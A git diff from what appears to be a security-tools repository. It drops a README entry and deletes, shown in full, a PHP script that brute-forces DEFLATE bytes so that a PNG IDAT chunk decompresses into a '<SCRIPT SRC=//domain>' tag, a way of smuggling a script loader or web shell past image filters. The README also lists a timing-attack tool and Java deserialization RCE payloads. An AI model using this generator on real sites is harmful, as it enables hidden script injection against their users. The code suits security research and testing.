diff --git a/web/README.md b/web/README.md
index cfbff1a..0b7ae81 100644
--- a/web/README.md
+++ b/web/README.md
@@ -20,8 +20,6 @@
 
 - **`dummy-web-server.py`** - a minimal http server in python. Responds to GET, HEAD, POST requests, but will fail on anything else. Forked from: [bradmontgomery/dummy-web-server.py](https://gist.github.com/bradmontgomery/2219997) ([gist](https://gist.github.com/mgeeky/c0675b2cf65bad6171edcb8f3bb2af6d))
 
-- **`generate_png_backdoor_idat_chunks.php`** - PHP script implementing idea of encoding Web Shells in PNG iDAT chunks, according to [this](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) research.
-
 - **`http-auth-timing.py`** - HTTP Auth Timing attack tool as presented at Ruxcon CTF 2012 simple web challange. The tools tries to use every letter for auth password and construct the entire password upon the longest took authentication request. ([gist](https://gist.github.com/mgeeky/57e866604942f1824da310982c46da84))
 
 - **`java-XMLDecoder-RCE.md`** - Java Beans XMLDecoder XML-deserialization Remote Code Execution payloads. ([gist](https://gist.github.com/mgeeky/5eb48b17c9d282ad3170ef91cfb6fe4c))
diff --git a/web/generate_png_backdoor_idat_chunks.php b/web/generate_png_backdoor_idat_chunks.php
deleted file mode 100755
index 608b857..0000000
--- a/web/generate_png_backdoor_idat_chunks.php
+++ /dev/null
@@ -1,36 +0,0 @@
-<?php
-  $domain = strtoupper($argv[1]);
-  $filename = $argv[2];
-
-  // DEFLATE stream bytes
-  $prefix = '7ff399281922111510691928276e6e';
-  $suffix = '576e69b16375535b6f';
-
-  $precode = '<SCRIPT SRC=//';
-  $postcode = '></SCRIPT>';
-
-  print "Input string to embed in PNG IDAT chunks:\n";
-  print '"' . $precode . $domain . $postcode . "\"\n\n\n";
-
-  $cnt = 0;
-  for( $i = 0x111111111111; $i < 0xffffffffffff; $i++, $cnt++) {
-    $b = implode('', str_split(str_pad(dechex($i), 12, '0', STR_PAD_LEFT), 2));
-
-    try {
-      $defl = gzdeflate(hex2bin($prefix . $b . $suffix ));
-
-      if ( $cnt % 100000 == 0) {
-        printf("[Probe: %06d] %s\r\n", $cnt, $defl);
-      }
-
-      if (strpos(strtoupper($defl), $precode.$domain.$postcode) !== false ) { 
-        $cont = bin2hex($defl);
-        printf("DEFLATE stream found!\n%s\n%s\n\n", $prefix.$b.$suffix, $defl);
-        file_put_contents($filename, $cont);
-      }
-    } catch( exception $e) {
-    }
-  }
-
-  print 'Done.'
-?>